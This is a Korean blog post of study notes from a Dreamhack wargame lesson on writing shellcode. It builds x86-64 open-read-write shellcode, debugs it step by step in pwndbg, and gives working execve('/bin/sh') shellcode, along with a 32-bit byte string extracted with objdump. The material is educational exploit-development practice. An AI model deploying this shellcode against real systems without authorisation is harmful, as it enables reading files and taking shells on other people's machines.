티스토리 뷰

System Hacking

[드림핵] Shellcode

SeYuNi 2024. 2. 27. 23:32

orw 셸코드

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

 

1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
open 0x02 const char *filename int flags umode_t mode

“/tmp/flag”라는 문자열을 메모리에 위치시키는 것을 먼저 해야한다. 이를 위해 스택에 0x616c662f706d742f67(/tmp/flag)를 push하여 위치시키도록 만들 것이다. 하지만 스택에는 8 바이트 단위로만 값을 push할 수 있으므로 0x67를 우선 push한 후, 0x616c662f706d742f를 push다. 그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮긴다.

O_RDONLY는 0이므로, rsi는 0으로 설정한다.

 

// https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24
/* File access modes for `open' and `fcntl'.  */
#define        O_RDONLY        0        /* Open read-only.  */
#define        O_WRONLY        1        /* Open write-only.  */
#define        O_RDWR          2        /* Open read/write.  */

파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정한다.

마지막으로 rax를 open의 syscall 값인 2로 설정한다.

 

구현

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

 

2.read(fd, buf, 0x30)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count

syscall의 반환 값은 rax로 저장됩니다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장됩니다. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.

rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입한다.

rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다.

read 시스템콜을 호출하기 위해서 rax를 0으로 설정한다.

 

구현

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

* fd란?

파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장한다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해준다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있다.

프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해준다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있다.

 

 

3. write(1, buf, 0x30)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
write 0x01 unsigned int fd const char *buf size_t count

출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.

rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.

write 시스템콜을 호출하기 위해서 rax를 1로 설정한다.

 

구현

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

이를 모두 종합하면 다음과 같다.

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

orw 셸코드 컴파일 및 실행

대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다. 윈도우의 PE, 리눅스의 ELF가 대표적인 예이다. ELF(Executable and Linkable Format)는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있다.

우리가 위에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF형식이 아니므로 리눅스에서 실행될 수 없다. 여기서는 gcc 컴파일을 통해 이를 ELF형식으로 변형하겠다.

 

스켈레톤 코드 예제

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

orw.S

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

orw.c

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

실행

셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일을 생성한다.

echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag

 

orw.c를 컴파일하고, 실행한다.

$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}

셸코드가 성공적으로 실행되어 우리가 저장한 문자열이 출력되는 것을 확인할 수 있다. 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것이다.

그리고 /tmp/flag 의 내용 말고도 몇 자의 알 수 없는 문자열들이 출력되는 경우가 있다. 디버깅을 통해 셸코드의 동작을 살펴보고, 알 수 없는 값들이 출력되는 원인을 알아볼 수 있다.

 

 

orw 셸코드 디버깅

orw를 gdb로 열고, run_sh()에 브레이크 포인트를 설정한다.

$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>

run 명령어로 run_sh()의 시작 부분까지 코드를 실행시킨다. 그러면 우리가 작성한 셸코드에 rip가 위치한 것을 확인할 수 있다.

pwndbg> r
Starting program: /home/dreamhack/orw
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555555129 in run_sh ()
...
*RIP  0x555555555129 (run_sh) ◂— push 0x67
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x555555555129 <run_sh>       push   0x67
   0x55555555512b <run_sh+2>     movabs rax, 0x616c662f706d742f
   0x555555555135 <run_sh+12>    push   rax
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
   0x555555555146 <run_sh+29>    syscall
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
...
pwndbg>

이제 앞에서 구현한 각 시스템 콜들이 제대로 구현되었나 확인해야 한다.

 

 

1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)

첫번째 syscall이 위치한 run_sh+29 브레이크 포인트를 설정한 후 실행하여, 해당 시점에 syscall에 들어가는 인자를 확인해본다.

pwndbg> b *run_sh+29
Breakpoint 2 at 0x555555555146
pwndbg> c
Continuing.

Breakpoint 2, 0x0000555555555146 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x2
 RBX  0x0
 RCX  0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX  0x0
*RDI  0x7fffffffe2f8 ◂— '/tmp/flag'
*RSI  0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555135 <run_sh+12>    push   rax
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
 ► 0x555555555146 <run_sh+29>    syscall  <SYS_open>
        file: 0x7fffffffe2f8 ◂— '/tmp/flag'
        oflag: 0x0
        vararg: 0x0
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
...

 

pwndbg 플러그인은 syscall을 호출할 때, 위 결과의 24~27번 라인과 같이 인자를 해석해서 보여준다. 셸코드를 작성할 때 계획했듯이, open(“/tmp/flag”, O_RDONLY, NULL);가 실행됨을 확인할 수 있다.

ni 명령어로 syscall을 실행하고 나면, open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.

pwndbg> ni
0x0000555555555148 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x3
 RBX  0x0
*RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
 RDX  0x0
 RDI  0x7fffffffe2f8 ◂— '/tmp/flag'
 RSI  0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
   0x555555555146 <run_sh+29>    syscall
 ► 0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
   0x555555555160 <run_sh+55>    syscall
...

 

2.read(fd, buf, 0x30)

마찬가지로 두 번째 syscall이 위치한 run_sh+55에 브레이크 포인트를 설정하고 실행한 후 인자를 살펴본다.

pwndbg> b *run_sh+55
Breakpoint 3 at 0x555555555160
pwndbg> c
Continuing.

Breakpoint 3, 0x0000555555555160 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x0
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX  0x30
*RDI  0x3
*RSI  0x7fffffffe2c8 ◂— 0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555148     mov    rdi, rax
   0x55555555514b     mov    rsi, rsp
   0x55555555514e     sub    rsi, 0x30
   0x555555555152     mov    rdx, 0x30
   0x555555555159     mov    rax, 0
 ► 0x555555555160     syscall  
        fd: 0x3 (/tmp/flag)
        buf: 0x7fffffffe2c8 ◂— 0x0
        nbytes: 0x30
   0x555555555162     mov    rdi, 1
   0x555555555169     mov    rax, 1
   0x555555555170     syscall
   0x555555555172     xor    rdi, rdi
   0x555555555175     mov    rax, 0x3c
...

새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffe2c8에 저장한다.

ni 명령어로 syscall을 실행한다.

 

pwndbg> ni
0x0000555555555162 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x29
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
 RDX  0x30
 RDI  0x3
 RSI  0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
   0x555555555160 <run_sh+55>    syscall
 ► 0x555555555162 <run_sh+57>    mov    rdi, 1
   0x555555555169 <run_sh+64>    mov    rax, 1
   0x555555555170 <run_sh+71>    syscall
   0x555555555172 <run_sh+73>    xor    rdi, rdi
   0x555555555175 <run_sh+76>    mov    rax, 0x3c
   0x55555555517c <run_sh+83>    syscall
...

위 REGISTERS 부분의 RSI를 통해서 파일의 내용이 0x7fffffffe2c8에 저장되었음을 이미 알 수 있지만, x/s 명령어로도 확인해보자.

pwndbg> x/s 0x7fffffffe2c8
0x7fffffffe2c8: "flag{this_is_open_read_write_shellcode!}\n"

0x7fffffffe2c8에 /tmp/flag의 문자열이 성공적으로 저장된 것을 확인할 수 있다.

 

3. write(1, buf, 0x30)

마지막으로, 다음은 읽어낸 데이터를 출력하는 write 시스템 콜을 실행하기 직전의 모습이다.

pwndbg> c
Continuing.

Breakpoint 4, 0x0000555555555170 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x1
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
 RDX  0x30
*RDI  0x1
 RSI  0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
   0x555555555160 <run_sh+55>    syscall
   0x555555555162 <run_sh+57>    mov    rdi, 1
   0x555555555169 <run_sh+64>    mov    rax, 1
 ► 0x555555555170 <run_sh+71>    syscall  <SYS_write>
        fd: 0x1 (/dev/pts/11)
        buf: 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
        n: 0x30
   0x555555555172 <run_sh+73>    xor    rdi, rdi
   0x555555555175 <run_sh+76>    mov    rax, 0x3c
   0x55555555517c <run_sh+83>    syscall
   0x55555555517e <main>         endbr64
   0x555555555182 <main+4>       push   rbp
...

ni 명령어로 실행하면, 데이터를 저장한 0x7fffffffe2c8에서 48바이트를 출력한다.

flag{this_is_open_read_write_shellcode!}

 

 

초기화되지 않은 메모리 영역 사용

/tmp/flag의 데이터 외에 알 수 없는 문자열이 출력되는 경우가 있는데, 이는 나중에 배우게 될 초기화되지 않은 메모리 영역 사용에 의한 것이다.

 

Appendix. Uninitialized Memory

알 수 없는 값이 함께 출력되는 경우, read 시스템 콜을 실행한 직후로 돌아가 원인을 분석해볼 수 있다.

pwndbg>
Continuing.

Breakpoint 3, 0x0000555555555160 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x0
 RBX  0x0
*RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX  0x30
*RDI  0x3
*RSI  0x7fffffffe2c8 ◂— 0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
 ► 0x555555555160 <run_sh+55>    syscall  <SYS_read>
        fd: 0x3 (/tmp/flag)
        buf: 0x7fffffffe2c8 ◂— 0x0
        nbytes: 0x30
   0x555555555162 <run_sh+57>    mov    rdi, 1
   0x555555555169 <run_sh+64>    mov    rax, 1
   0x555555555170 <run_sh+71>    syscall
   0x555555555172 <run_sh+73>    xor    rdi, rdi
   0x555555555175 <run_sh+76>    mov    rax, 0x3c
...

아까와 같이 파일을 읽어서 스택에 저장했습니다. 해당 스택의 영역을 조회해본다.

pwndbg> x/6gx 0x7fffffffe2c8
0x7fffffffe2c8:	0x6968747b67616c66	0x65706f5f73695f73
0x7fffffffe2d8:	0x775f646165725f6e	0x6568735f65746972
0x7fffffffe2e8:	0x7d2165646f636c6c	0x000000000000000a

48바이트 중, 앞의 41바이트만 우리가 저장한 파일의 데이터이고, 마지막 7바이트는 널 바이트로 존재한다. 알 수 없는 값이 출력되는 경우에는 뒤 7바이트가 널 바이트가 아닌 쓰레기 값이 들어 있을 것이다. 쓰레기 값이 나중에 write시스템콜을 수행할 때, 플래그와 함께 출력되는 것이다.

해커의 입장에서 쓰레기 값은 아무 의미 없는 값이 아니다. 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있다. 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 부르는데, 앞으로 배워나갈 보호기법들을 무력화하는 핵심 역할을 한다.

 

 

execve 셸코드

셸(Shell, 껍질)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비된다. 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다. 다른 언급없이 셸코드라고 하면 이를 의미하는 경우가 많다.

최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며, 이 외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있다. 

리눅스 bash

 

execve(“/bin/sh”, null, null)

execve 셸코드는 execve 시스템 콜만으로 구성된다.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다. 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, 우리가 실행할 sh도 여기에 저장되어 있다.

따라서 우리는 execve(“/bin/sh”, null, null)을 실행하는 것을 목표로 셸 코드를 작성하면 된다.

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

execve 셸코드 컴파일 및 실행

앞에서 사용한 스켈레톤 코드를 이용하여 execve 셸코드를 컴파일해보면,

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

실행 결과로 sh가 실행된 것을 확인할 수 있다.

이를 디버깅하는 것은 위의 orw셸코드와 동일하다.

 

objdump 를 이용한 shellcode 추출

아래 주어진 shellcode.asm 에 대해서 이를 바이트 코드로 바꾸는 과정이다.

 

어셈블리 코드 - shellcode.asm

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

step1-shellcode.o

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

 

step2-shellcode.bin

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$

 

shellcode string

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

 

 

 

 

 

 

 

 

 

'System Hacking' 카테고리의 다른 글

[Dreamhack] Return to Library  (0) 2024.04.08
[드림핵] Return Address Overwrite  (0) 2024.03.11
helloworld.c 디스어셈블리  (0) 2024.02.25
[드림핵] Tool Installation_gdb, pwntools  (0) 2024.02.25
[프로젝트] 악성코드 - 웜  (0) 2024.02.24
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
글 보관함